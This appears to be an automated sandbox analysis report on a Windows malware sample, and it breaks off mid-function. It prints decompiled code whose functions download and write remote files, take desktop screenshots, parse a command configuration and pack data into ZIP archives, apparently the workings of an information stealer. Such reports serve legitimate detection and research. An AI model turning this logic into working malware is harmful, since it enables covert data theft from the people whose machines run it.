				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_t59 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0); // executed
							_v12 = _t59;
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_t47 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_v20 = _t47;
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060); // executed
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0); // executed
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					FindCloseChangeNotification(_v20); // executed
					InternetCloseHandle(_v12); // executed
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab0
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b17
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
FindCloseChangeNotification.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: Internet$CloseFile$HandleOpen$ChangeCreateFindHttpInfoNotificationQueryReadWrite
String ID: 200$https
API String ID: 2996992542-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E0040BCF0(void* __eflags, char _a8) {
				void* _v8;
				struct HWND__* _v12;
				char _v16;
				char _v20;
				char _v36;
				void* _v44;
				intOrPtr _v48;
				struct tagRECT _v64;
				struct HDC__* _v68;
				char _v72;
				void* _v76;
				char _v92;
				intOrPtr _v96;
				void* _t50;
				void* _t52;
				void* _t65;
				void* _t68;
				intOrPtr _t70;
				long _t71;
				intOrPtr _t100;

				E0040B550( &_v36, 0, 0, 0);
				E0040B720( &_v36, 0x10);
				_v36 = 1;
				_t5 =  &_v16; // 0x4067e4
				_t50 =  *0x41aa2c(_t5,  &_v36, 0); // executed
				if(_t50 == 0) {
					_t52 =  *0x41a98c(0, 1,  &_v20); // executed
					if(_t52 == 0) {
						_v12 = GetDesktopWindow();
						GetWindowRect(_v12,  &_v64);
						_v96 =  *0x41aaa4(_v12);
						_v68 =  *0x41a948(_v96);
						_v44 =  *0x41a8bc(_v96, _v64.right, _v64.bottom);
						_v8 = SelectObject(_v68, _v44);
						 *0x41a880(_v68, 0, 0, _v64.right, _v64.bottom, _v96, 0, 0, 0xcc0020);
						_t65 =  *0x41a9e8(_v44, 0,  &_v72); // executed
						if(_t65 == 0) {
							if(E0040BBB0(L"image/jpeg",  &_v92) != 0xffffffff) {
								_t68 =  *0x41a9b8(_v72, _v20,  &_v92, 0); // executed
								if(_t68 == 0) {
									_t70 =  *0x41a884(_v20,  &_v76);
									GlobalFix(_v76);
									_v48 = _t70;
									_t71 = GlobalSize(_v76);
									_t100 =  *0x41a2ac; // 0xa18bf0
									_t37 =  &_a8; // 0x4067e4
									E004137E0( *_t37, _t100, _v48, _t71);
									SelectObject(_v68, _v8);
									 *0x41a8f0(_v72);
									_t41 =  &_v16; // 0x4067e4
									 *0x41aa0c( *_t41);
									DeleteObject(_v44);
									DeleteObject(_v68);
									 *0x41aa28(_v12, _v96);
									CloseWindow(_v12); // executed
									return 0;
								}
								return 0;
							}
							return 0;
						}
						return 0;
					}
					return 0;
				}
				return 0;
			}

0x0040bcff
0x0040bd0a
0x0040bd0f
0x0040bd1c
0x0040bd20
0x0040bd28
0x0040bd39
0x0040bd41
0x0040bd50
0x0040bd5b
0x0040bd6b
0x0040bd78
0x0040bd8d
0x0040bd9e
0x0040bdbe
0x0040bdce
0x0040bdd6
0x0040bdf3
0x0040be0a
0x0040be12
0x0040be23
0x0040be2d
0x0040be33
0x0040be3a
0x0040be45
0x0040be4c
0x0040be50
0x0040be60
0x0040be6a
0x0040be70
0x0040be74
0x0040be7e
0x0040be88
0x0040be96
0x0040bea0
0x00000000
0x0040bea6
0x00000000
0x0040be14
0x00000000
0x0040bdf5
0x00000000
0x0040bdd8
0x00000000
0x0040bd43
0x00000000

Strings

image/jpeg, xrefs: 0040BDE3
g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
g@A, xrefs: 0040BE4C, 0040BE4F

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: a8ee8390bea701a7fe83a63bcec9f9fcb62ae9ebfc8cae6774634cead13c25f4
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 19.7, APIs: 13, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00A178E0), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00A17A60), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,00A18478), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID:
API String ID: 2806430148-0
Opcode ID: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 08dc09e1d71bc56364079f1e4773d345dfaabcd681f6d71a866a9efc0159ba04
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824); // executed
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000017.00000002.431784667.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000017.00000002.431805852.000000000042C000.00000040.00020000.sdmp Download File

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004128D0, Relevance: 18.2, APIs: 7, Strings: 3, Instructions: 687
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004128D0(signed int* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				char _v9;
				char _v20;
				signed int _v24;
				signed int _v28;
				signed int _v29;
				signed int _v30;
				char _v44;
				char _v308;
				void* _v312;
				signed int _v313;
				signed int _v320;
				void* _v324;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				signed int _v352;
				signed int _v356;
				signed int _v364;
				char _v624;
				char _v884;
				signed int _v888;
				void* _v892;
				void* _v896;
				char _v1156;
				intOrPtr _v1160;
				signed int _v1164;
				short _v1168;
				short _v1170;
				short _v1172;
				signed int _v1176;
				int _v1180;
				signed int _v1184;
				signed int _v1188;
				signed int _v1192;
				signed int _v1196;
				signed int _v1200;
				unsigned int _v1204;
				signed int _v1206;
				signed int _v1208;
				short _v1210;
				void _v1212;
				signed int _v1216;
				char* _v1220;
				signed char* _v1224;
				signed int _v1228;
				signed int _v1232;
				signed int _v1236;
				void* _v1240;
				void* _v1244;
				signed int* _v1248;
				intOrPtr* _v1252;
				char* _v1256;
				intOrPtr _v1260;
				char _v1261;
				intOrPtr* _v1268;
				signed int _v1272;
				char _v1273;
				intOrPtr _v1280;
				signed int _v1284;
				intOrPtr* _v1288;
				char* _v1292;
				intOrPtr _v1296;
				char _v1297;
				intOrPtr* _v1304;
				signed int _v1308;
				char _v1309;
				signed int _v1316;
				signed int _v1320;
				char _v1321;
				signed int _v1328;
				signed int _v1332;
				char _t422;
				signed int _t459;
				signed int _t485;
				signed char _t498;
				signed char _t502;
				signed int _t510;
				signed char _t516;
				signed int _t518;
				signed int _t523;
				signed int _t524;
				signed int _t539;
				signed char _t545;
				signed int _t548;
				signed int* _t556;
				char _t571;
				signed int* _t597;
				signed int* _t609;
				signed int* _t615;
				signed int _t627;
				signed int _t634;
				signed int* _t643;
				intOrPtr _t652;
				signed int _t665;
				signed int* _t704;
				signed int _t713;
				signed int* _t714;
				signed int _t732;
				signed int _t736;
				char _t737;
				void* _t750;
				void* _t751;
				void* _t752;

				_v1248 = __ecx;
				if(_v1248[5] == 0) {
					_t556 = _v1248;
					__eflags =  *(_t556 + 0x2c) & 0x000000ff;
					if(( *(_t556 + 0x2c) & 0x000000ff) == 0) {
						_v320 = 0;
						__eflags =  *_v1248;
						if( *_v1248 != 0) {
							__eflags = _a16 - 4;
							if(_a16 != 4) {
								_v320 = 0xc;
							}
						}
						_v1252 = _a4;
						_v1256 =  &_v308;
						_v1260 = _v1256;
						do {
							_v1261 =  *_v1252;
							 *_v1256 = _v1261;
							_v1252 = _v1252 + 1;
							_v1256 = _v1256 + 1;
							__eflags = _v1261;
						} while (_v1261 != 0);
						__eflags = _v308;
						if(_v308 != 0) {
							_v1220 =  &_v308;
							while(1) {
								__eflags =  *_v1220;
								if( *_v1220 == 0) {
									break;
								}
								__eflags =  *_v1220 - 0x5c;
								if( *_v1220 == 0x5c) {
									 *_v1220 = 0x2f;
								}
								_v1220 = _v1220 + 1;
							}
							__eflags = _a16 - 4;
							_v29 = 0 | _a16 == 0x00000004;
							__eflags = _v29 & 0x000000ff;
							if((_v29 & 0x000000ff) == 0) {
								L21:
								_v1284 = 0;
								L22:
								_v30 = _v1284;
								_v28 = 8;
								_t563 = _v29 & 0x000000ff;
								__eflags = _v29 & 0x000000ff;
								if((_v29 & 0x000000ff) != 0) {
									L24:
									_v28 = 0;
									L25:
									__eflags = _a16 - 2;
									if(_a16 != 2) {
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											__eflags = _a16 - 3;
											if(_a16 != 3) {
												__eflags = _a16 - 4;
												if(__eflags != 0) {
													return 0x10000;
												}
												_v24 = E004123D0(_v1248, __eflags);
												L34:
												__eflags = _v24;
												if(_v24 == 0) {
													_v352 = 0;
													_t422 =  *0x41401a; // 0x0
													_v1156 = _t422;
													_v1288 =  &_v308;
													_v1292 =  &_v884;
													_v1296 = _v1292;
													do {
														_v1297 =  *_v1288;
														 *_v1292 = _v1297;
														_v1288 = _v1288 + 1;
														_v1292 = _v1292 + 1;
														__eflags = _v1297;
													} while (_v1297 != 0);
													_v1304 =  &_v884;
													_t665 = _v1304 + 1;
													__eflags = _t665;
													_v1308 = _t665;
													do {
														_v1309 =  *_v1304;
														_v1304 = _v1304 + 1;
														__eflags = _v1309;
													} while (_v1309 != 0);
													_v1316 = _v1304 - _v1308;
													_v1188 = _v1316;
													__eflags = _v30 & 0x000000ff;
													if((_v30 & 0x000000ff) == 0) {
														L44:
														_t571 =  *0x41401a; // 0x0
														_v624 = _t571;
														_v896 = 0;
														_v1184 = 0;
														_v892 = 0;
														_v1180 = 0;
														_v888 = 0;
														_v1176 = 0;
														_v364 = 1;
														_v356 = 0;
														_v1170 = 0;
														_v1212 = 0xb17;
														_v1210 = 0x14;
														_v1204 = _v1248[0x1a];
														_v1200 = 0;
														_v1208 = 8;
														__eflags =  *_v1248;
														if( *_v1248 != 0) {
															__eflags = _v29 & 0x000000ff;
															if((_v29 & 0x000000ff) == 0) {
																_v1208 = 9;
															}
														}
														_v1168 = _v1208;
														_v1206 = _v28;
														__eflags = _v28;
														if(_v28 != 0) {
															L50:
															_v1328 = 0;
															goto L51;
														} else {
															_t643 = _v1248;
															__eflags =  *(_t643 + 0x70);
															if( *(_t643 + 0x70) < 0) {
																goto L50;
															}
															_v1328 = _v1248[0x1c] + _v320;
															L51:
															_v1196 = _v1328;
															_v1192 = _v1248[0x1c];
															_v1172 = 0;
															_v1164 = _v1248[0x13];
															_v1160 = _v1248[6] + _v1248[4];
															_v896 =  &_v344;
															_v1184 = 0x11;
															_v892 =  &_v44;
															_v1180 = 9;
															_v344 = 0x55;
															_v343 = 0x54;
															_v342 = 0xd;
															_v341 = 0;
															_v340 = 7;
															_v339 = _v1248[0x16];
															_v338 = E004139F0(_v1248[0x16], 8, _v1248[0x17]);
															_v337 = E004139F0(_v1248[0x16], 0x10, _v1248[0x17]);
															_v336 = E004139F0(_v1248[0x16], 0x18, _v1248[0x17]);
															_v335 = _v1248[0x14];
															_v334 = E004139F0(_v1248[0x14], 8, _v1248[0x15]);
															_v333 = E004139F0(_v1248[0x14], 0x10, _v1248[0x15]);
															_v332 = E004139F0(_v1248[0x14], 0x18, _v1248[0x15]);
															_v331 = _v1248[0x18];
															_v330 = E004139F0(_v1248[0x18], 8, _v1248[0x19]);
															_v329 = E004139F0(_v1248[0x18], 0x10, _v1248[0x19]);
															_v328 = E004139F0(_v1248[0x18], 0x18, _v1248[0x19]);
															memcpy(_v892, _v896, 9);
															 *((char*)(_v892 + 2)) = 5;
															_t459 = E004103F0( &_v1212, E00411D80, _v1248);
															_t752 = _t751 + 0xc;
															_v1216 = _t459;
															__eflags = _v1216;
															if(_v1216 == 0) {
																_v1248[6] = _v1188 + _v1184 + 0x1e + _v1248[6];
																_t597 = _v1248;
																__eflags =  *(_t597 + 0x14);
																if( *(_t597 + 0x14) == 0) {
																	_v1248[0xc] = 0x12345678;
																	_v1248[0xd] = 0x23456789;
																	_v1248[0xe] = 0x34567890;
																	_v1224 =  *_v1248;
																	while(1) {
																		__eflags = _v1224;
																		if(_v1224 == 0) {
																			break;
																		}
																		__eflags =  *_v1224;
																		if( *_v1224 == 0) {
																			break;
																		}
																		E00411430( &(_v1248[0xc]),  *_v1224 & 0x000000ff);
																		_t752 = _t752 + 8;
																		_t732 =  &(_v1224[1]);
																		__eflags = _t732;
																		_v1224 = _t732;
																	}
																	__eflags =  *0x41ac80 & 0x000000ff;
																	if(( *0x41ac80 & 0x000000ff) == 0) {
																		_t524 = GetTickCount();
																		__eflags = _t524 ^ GetDesktopWindow();
																		E0040B840(_t524 ^ GetDesktopWindow());
																		_t752 = _t752 + 4;
																	}
																	_v1228 = 0;
																	while(1) {
																		__eflags = _v1228 - 0xc;
																		if(_v1228 >= 0xc) {
																			break;
																		}
																		 *((char*)(_t750 + _v1228 - 0x10)) = E0040B850() >> 0x00000007 & 0x000000ff;
																		_t523 = _v1228 + 1;
																		__eflags = _t523;
																		_v1228 = _t523;
																	}
																	_v9 = _v1204 >> 0x00000008 & 0x000000ff;
																	_v1232 = 0;
																	while(1) {
																		__eflags = _v1232 - 0xc;
																		if(__eflags >= 0) {
																			break;
																		}
																		_t516 = E004114E0(_v1232, __eflags,  &(_v1248[0xc]),  *(_t750 + _v1232 - 0x10) & 0x000000ff);
																		_t752 = _t752 + 8;
																		 *(_t750 + _v1232 - 0x10) = _t516;
																		_t518 = _v1232 + 1;
																		__eflags = _t518;
																		_v1232 = _t518;
																	}
																	__eflags =  *_v1248;
																	if( *_v1248 != 0) {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) == 0) {
																			E00411D80( &_v20, _v1248,  &_v20, 0xc);
																			_t752 = _t752 + 0xc;
																			_t634 = _v1248[6] + 0xc;
																			__eflags = _t634;
																			_v1248[6] = _t634;
																		}
																	}
																	_v8 = 0;
																	__eflags =  *_v1248;
																	if( *_v1248 == 0) {
																		L76:
																		_v1332 = 0;
																		goto L77;
																	} else {
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			goto L76;
																		}
																		_v1332 = 1;
																		L77:
																		_v1248[0xb] = _v1332;
																		__eflags = _v29 & 0x000000ff;
																		if((_v29 & 0x000000ff) != 0) {
																			L80:
																			__eflags = _v29 & 0x000000ff;
																			if((_v29 & 0x000000ff) != 0) {
																				L83:
																				__eflags = _v29 & 0x000000ff;
																				if((_v29 & 0x000000ff) != 0) {
																					_v1248[0x24] = 0;
																				}
																				L85:
																				_v1248[0xb] = 0;
																				E00412630(_v1248);
																				_v1248[6] = _v1248[6] + _v1248[0x24];
																				_t704 = _v1248;
																				__eflags =  *(_t704 + 0x14);
																				if( *(_t704 + 0x14) == 0) {
																					__eflags = _v8;
																					if(_v8 == 0) {
																						__eflags = _v1196 - _v1248[0x24] + _v320;
																						_v313 = 0 | _v1196 == _v1248[0x24] + _v320;
																						_v1200 = _v1248[0x1e];
																						_v1196 = _v1248[0x24] + _v320;
																						_v1192 = _v1248[0x1c];
																						_t609 = _v1248;
																						__eflags =  *(_t609 + 0x1c) & 0x000000ff;
																						if(( *(_t609 + 0x1c) & 0x000000ff) == 0) {
																							L101:
																							__eflags = (_v1206 & 0x0000ffff) - (_v28 & 0x0000ffff);
																							if((_v1206 & 0x0000ffff) == (_v28 & 0x0000ffff)) {
																								__eflags = _v28;
																								if(_v28 != 0) {
																									L106:
																									_v1216 = E00410800( &_v1212, E00411D80, _v1248);
																									__eflags = _v1216;
																									if(_v1216 == 0) {
																										_t713 = _v1248[6] + 0x10;
																										__eflags = _t713;
																										_v1248[6] = _t713;
																										_v1208 = _v1168;
																										L109:
																										_t714 = _v1248;
																										__eflags =  *(_t714 + 0x14);
																										if( *(_t714 + 0x14) == 0) {
																											_v1240 = E0040B590(_v1180, _v1180);
																											_v312 = _v1240;
																											memcpy(_v312, _v892, _v1180);
																											_v892 = _v312;
																											_v1244 = E0040B590(_v892, 0x360);
																											_v324 = _v1244;
																											memcpy(_v324,  &_v1212, 0x360);
																											_t615 = _v1248;
																											__eflags =  *(_t615 + 0x44);
																											if( *(_t615 + 0x44) != 0) {
																												_v1236 = _v1248[0x11];
																												while(1) {
																													_t485 = _v1236;
																													__eflags =  *(_t485 + 0x35c);
																													if( *(_t485 + 0x35c) == 0) {
																														break;
																													}
																													_v1236 =  *((intOrPtr*)(_v1236 + 0x35c));
																												}
																												 *((intOrPtr*)(_v1236 + 0x35c)) = _v324;
																												L117:
																												__eflags = 0;
																												return 0;
																											}
																											_v1248[0x11] = _v324;
																											goto L117;
																										}
																										return _v1248[5];
																									}
																									return 0x400;
																								}
																								__eflags = _v313 & 0x000000ff;
																								if((_v313 & 0x000000ff) != 0) {
																									goto L106;
																								}
